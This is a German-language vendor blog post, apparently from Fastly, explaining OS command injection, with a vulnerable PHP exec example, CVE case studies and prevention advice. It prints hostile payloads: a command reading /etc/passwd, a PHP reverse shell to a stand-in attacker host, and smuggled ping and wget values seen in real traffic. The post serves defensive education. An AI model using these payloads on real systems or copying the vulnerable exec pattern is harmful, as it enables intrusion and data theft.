OS Command Injection ist eine Schwachstelle bei Webanwendungen, die es Angreifern ermöglicht, beliebige Befehle auf dem zugrunde liegenden Betriebssystem auszuführen. Solche Schwachstellen treten auf, wenn Webanwendungen Betriebssystembefehle mit vom Nutzer bereitgestellten Eingaben als Argumente aufrufen. Bekannte Formen sind CWE-77 und CWE-78.
Stellen Sie sich eine Webanwendung vor, die interne Systeme überwachen und Warnungen ausgeben soll, wenn eines der Systeme offline geht. In diesem Szenario möchte die Anwendung möglicherweise die Netzwerkerreichbarkeit des Ziels testen und führt zu diesem Zweck einen Ping-Befehl aus. Wenn die Anwendung in PHP geschrieben ist, könnte der zugrunde liegende Code etwa wie folgt aussehen:
$ip_address = $_GET["ip_address"])
$not_used = array();
$return_code = 0;
exec('ping -W 2 -c 1 ' . $ip_address, $not_used, $return_code)Die „exec“-Funktion von PHP führt in diesem Beispiel den Ping-Befehl mit dem am Ende als Ziel angehängten, vom Nutzer bereitgestellten Wert für „ip_address“ aus, um die Erreichbarkeit zu testen. Gibt ein böswilliger Nutzer jedoch localhost; cat /etc/passwd als IP-Adresse an, werden sowohl der Ping-Befehl als auch der zweite Befehl, der nach dem Semikolon beginnt, ausgeführt. Sofern erfolgreich, kann der Angreifer ab diesem Moment eine beliebige Anzahl an bösartigen Befehlen ausführen, um zu versuchen, erweiterte Zugriffsrechte zu erlangen, vertrauliche Informationen abzurufen, die Persistenz aufrechtzuerhalten oder auf andere Ziele im Netzwerk zuzugreifen. Aufgrund ihrer oft verheerenden Auswirkungen werden Command-Injection-Schwachstellen meist als schwerwiegender eingestuft als andere Schwachstellen bei Webanwendungen.
Was ist nicht OS Command Injection?
Command Injection wird oft mit anderen Injection-Angriffen verwechselt, vorrangig mit Code Injection. Am einfachsten lassen sich diese beiden Schwachstellen anhand der Methode und des Kontexts der Payload-Ausführung unterscheiden:
Command Injection erfolgt insbesondere im Zusammenhang mit den Shell-Programmen des zugrunde liegenden Betriebssystems (z. B. Bash oder PowerShell), wobei ein externes Programm in den Call eingeschleust wird.
Bei Code Injection erfolgt die Ausführung im Kontext der verwendeten Programmiersprache. Ein Beispiel dafür wäre das Einschleusen von Code in die „include“- oder „eval“-Funktion von PHP, damit beliebiger PHP-Code ausgeführt werden kann.
Gelegentlich kommt es zur Verwechslung, wenn eine Command Injection Payload Code aus Programmiersprachen wie PHP enthält. Betrachten wir zum Beispiel die folgende Command Injection Payload aus unserem vorherigen Beispiel, durch die eine Reverse Shell gestartet wird:
localhost; php -r '$sock=fsockopen("attackers.ip.example.com",1234);exec("/bin/sh -i <&3 >&3 2>&3");'Da die Payload hauptsächlich PHP-Code enthält, könnte man sie auf den ersten Blick mit einem Code-Injection-Angriff verwechseln. Der vordere Teil der Payload verrät uns allerdings, dass es sich dabei tatsächlich um Command Injection handelt. Das Semikolon beendet den Ping-Befehl, bevor der PHP-Befehl ausgeführt wird. „php -r“ gibt an, dass der folgende PHP-Code in der Command Line ausgeführt wird, wobei es sich in diesem Fall um eine Reverse Shell handelt, die zurück zur IP-Adresse des Angreifers verweist. Auch wenn in unserer Payload also PHP-Code ausgeführt wird, liegt hier OS Command Injection vor, weil wir Code in die Argumente des Shell-Programms des Betriebssystems einschleusen.
Beispiele von OS Command Injection
Nachdem wir nun zwischen echter und scheinbarer OS Command Injection zu unterscheiden wissen, können wir uns genauer ansehen, wie Angriffe in der Praxis umgesetzt werden.
OS Command Injection in NagiosXI: CVE-2021-25296(7,8)
Die NagiosXI Versionen 5.5.6 bis 5.7.5 waren von drei verschiedenen Command-Injection-Angriffen betroffen. Unser vorheriges Ping-Beispiel orientiert sich übrigens grob an CVE-2021-25298, wo die Command-Injection-Schwachstelle in einem Ping-Aufruf über die PHP-Funktion „exec“ mit einer vom Nutzer angegebenen IP-Adresse lag. In unserer detaillierten Analyse dieser CVEs (Common Vulnerabilities and Exposures) demonstrieren wir ganz anschaulich, wie diese Schwachstellen ausgenutzt werden, indem wir sowohl Meterpreter Remote Shells als auch Callbacks zu „interactsh“ von Project Discovery starten. Wie auch die US-amerikanische Cybersecurity & Infrastructure Security Agency (CISA) zum Zeitpunkt der Erstellung dieses Blogposts anmerkt, werden diese CVEs von Angreifern aktiv ausgenutzt, was ein Hinweis auf die potenzielle Gefahr für Systeme ist.
OS Command Injection in ManageEngine ADManagerPlus: CVE-2023-29084
Diese spezifische Command-Injection-Schwachstelle ist ein gutes Beispiel dafür,wie man Command Injection nicht verhindern sollte. Dinh Hoang beschreibt diese Schwachstelle in einem wunderbaren Artikel – insbesondere, wie ADManagerPlus eine CommonUtil.getPowerShellEscapedValue-Funktion verwendet, um vom Nutzer für einen „reg add“-Befehl angegebene Zugangsdaten zu umgehen. Bei dieser Funktion werden CRLF-Zeichen allerdings nicht entschlüsselt, sodass die folgende Payload, die „calc“ startet, als Passwort eingefügt werden kann: [any-content]\r\ncalc.exe. Wie wir später noch sehen werden, können bei dieser Art der Neutralisierung von Eingaben nicht nur Fehler auftreten, sondern sich auch neue Umgehungsmöglichkeiten auftun oder Metazeichen übersehen werden, was eine künftige Command Injection zur Folge haben könnte.
OS Command Injection und WAFs
Die Fastly Next-Gen WAF schützt vor gängigen Command-Injection-Angriffen. Die Untersuchung einiger Command Injection Payloads, die wir beobachtet haben, zeigt uns, was Angreifer senden, um OS-Command-Injection-Schwachstellen aufzuspüren.
Payload-Beispiel 1: „sleep“-Ping in POST-Anfragedaten
language=&ping -c 25 127.0.0.1 &Bei dieser Payload handelt es sich um einen einfachen Command-Injection-Versuch in das Feld „language“. Außerdem wird hier eine blinde Command-Injection-Methode verwendet. Oder anders ausgedrückt: Die Erkennung der Command Injection ist nicht davon abhängig, dass Output von einem Befehl abgerufen wird. Die Payload verwendet das Metazeichen „&“, um den zweiten Befehl auszuführen, während der erste Befehl im Hintergrund ausgeführt wird. Die Payload enthält den Befehl „ping“ mit dem Flag „-c“, der „ping“ anweist, 25 Pakete zu senden – eines pro Sekunde. Durch die Analyse des Antwortzeitpunkts können Angreifer feststellen, ob ihr eingeschleuster Befehl ausgeführt wurde. Diese Methode kann allerdings auch fehlschlagen, wenn die betroffene Anwendung nicht wartet, bis der ausgeführte Befehl abgeschlossen ist, bevor sie eine HTTP-Antwort sendet – was ihre Wirksamkeit einschränkt. Sehen wir uns also als Zweites ein interessantes Beispiel für eine blinde Command Injection an, bei dem diese Einschränkung nicht besteht.
Payload-Beispiel 2: „Wget“ in POST-Anfragedaten
macAddress=112233445566;wget http://[redacted-subdomain].oast.site#Bei dieser Payload handelt es sich um eine blinde Command-Injection-Methode, die Out-of-band Network Interaction nutzt. Die Erkennung des Command-Injection-Angriffs setzt also die Erkennung einer ausgehenden Netzwerkanfrage des injizierten Befehls voraus. Schlüsseln wir die Payload in ihre zwei Teile auf: die „escape“-Funktion und den Aufbau des Befehls sowie den Inhalt des injizierten Befehls.
Die Payload wird in das Feld „macAddress“ eingeschleust und enthält zwei Metazeichen, die die Command Injection unterstützen. Das Semikolon markiert das Ende des ersten Befehls, sodass der Befehl des Angreifers gestartet werden kann. Am Ende der eingeschleusten Payload verwendet der Angreifer das Metazeichen „#“, um alle folgenden Daten auszukommentieren. Dies ist nützlich, wenn das einzuschleusende Argument nicht das letzte Argument des Befehls ist, da alle nachfolgenden Argumente als Teil des Kommentars gelten und damit ignoriert werden.
Der injizierte Befehlsteil der Payload ist der Befehl „wget“, der eine Verbindung zu einer Subdomain von oast.site herstellt, eine der Standard-Callback-Domains, die von „interactsh“ von Project Discovery verwendet werden. OAST steht für „Out-of-Band Application Security Testing“, das von „interactsh“ durch die Verwendung eindeutiger Subdomains und Payloads unterstützt wird, um festzustellen, ob ein gezielter Angriff erfolgreich war. Es gibt mehrere weitere Domains, die von „interactsh“ und anderen Tools genutzt werden, die ähnliche Tests ermöglichen und bei denen wir zuvor bereits eine intensive Nutzung festgestellt haben.
Wie sich OS Command Injection vermeiden lässt
Es gibt verschiedene Möglichkeiten, OS Command Injection zu verhindern. Sie unterscheiden sich in ihrer Wirksamkeit und ihren Nachteilen. Im Folgenden finden Sie umsetzbare Lösungen, um diese Art von Angriff zu verhindern.
Aufrufe von Betriebssystembefehlen aus dem Anwendungscode vermeiden
Rufen Sie niemals Betriebssystembefehle aus dem Anwendungscode auf. So geben Sie OS-Command-Injection-Schwachstellen keine Chance, da die eingeschleusten Befehle an sich entfernt werden. Wählen Sie notfalls alternative Wege zum Ziel.
Strenge Eingabevalidierung erzwingen
Wenn sich Betriebssystembefehle in Ihrer Umgebung nicht entfernen lassen, ist eine starke Eingabevalidierung erforderlich, um OS-Command-Injection-Schwachstellen vorzubeugen. Eine starke Eingabevalidierung ist nicht dasselbe wie die Neutralisierung von Eingaben. Bei der Eingabevalidierung muss sichergestellt werden, dass die Nutzereingabe ausschließlich Werte enthält, die von der Anwendung sicher an die Betriebssystembefehle weitergegeben werden können. Hier einige Beispiele für eine starke Eingabevalidierung:
Überprüfung, ob die Eingabe in einer Liste zulässiger Werte enthalten ist
Überprüfung, ob die Eingabe vom richtigen Typ ist (zum Beispiel eine Ganzzahl oder eine IP-Adresse)
Überprüfung, ob die Eingabe nur alphanumerische Werte enthält
Nutzereingaben bereinigen (nicht empfohlen)
Wenn keine dieser Optionen möglich ist, sollte die Neutralisierung von Nutzereingaben durch das Escapen von Shell-Metazeichen (z. B. „&„ oder „;“) der letzte Ausweg sein. Eine korrekte Durchführung dieser Neutralisierung ist allerdings schwierig, da es viele Möglichkeiten gibt, wie Metazeichen dargestellt und von etwaigen Betriebssystemen interpretiert und wie die Neutralisierungsmethoden umgangen werden können. CVE-2023-29084 zeigt die möglichen Nachteile dieser Methode auf, da ein fehlendes Metazeichen (CRLF) zu einer erfolgreichen Command Injection führte. Selbst wenn die Neutralisierung oft vor offensichtlichen OS-Command-Injection-Payloads schützt, ist sie aufgrund der Komplikationen rund um die korrekte Implementierung sowie der denkbaren Umgehungsmöglichkeiten keine umfassende Lösung.
Zusammenfassung
OS Command Injection ist in der Regel eine Schwachstelle bei Webanwendungen, die es Angreifern ermöglicht, beliebige Befehle auf dem zugrunde liegenden Betriebssystem auszuführen. Es wird oft mit Code Injection verwechselt, findet jedoch im Kontext der Shell-Programme des zugrunde liegenden Betriebssystems statt, während Code Injection im Kontext der verwendeten Programmiersprache erfolgt. OS Command Injection kann verheerende Auswirkungen haben und ist, wie unsere Beispiele aus der Praxis zeigen, nach wie vor ein häufig genutztes Angriffsmittel. Anwendungen können jedoch mithilfe der von uns beschriebenen Lösungen eine OS-Befehlsinjektion verhindern. Sollten Sie Schwierigkeiten haben, OS Command Injection zu verhindern, oder ein Produkt einsetzen, das in der Vergangenheit von Schwachstellen im Zusammenhang mit OS-Befehlsinjektionen betroffen war, können Sie sich mit der Next-Gen WAF von Fastly vor diesen und weiteren Angriffen schützen.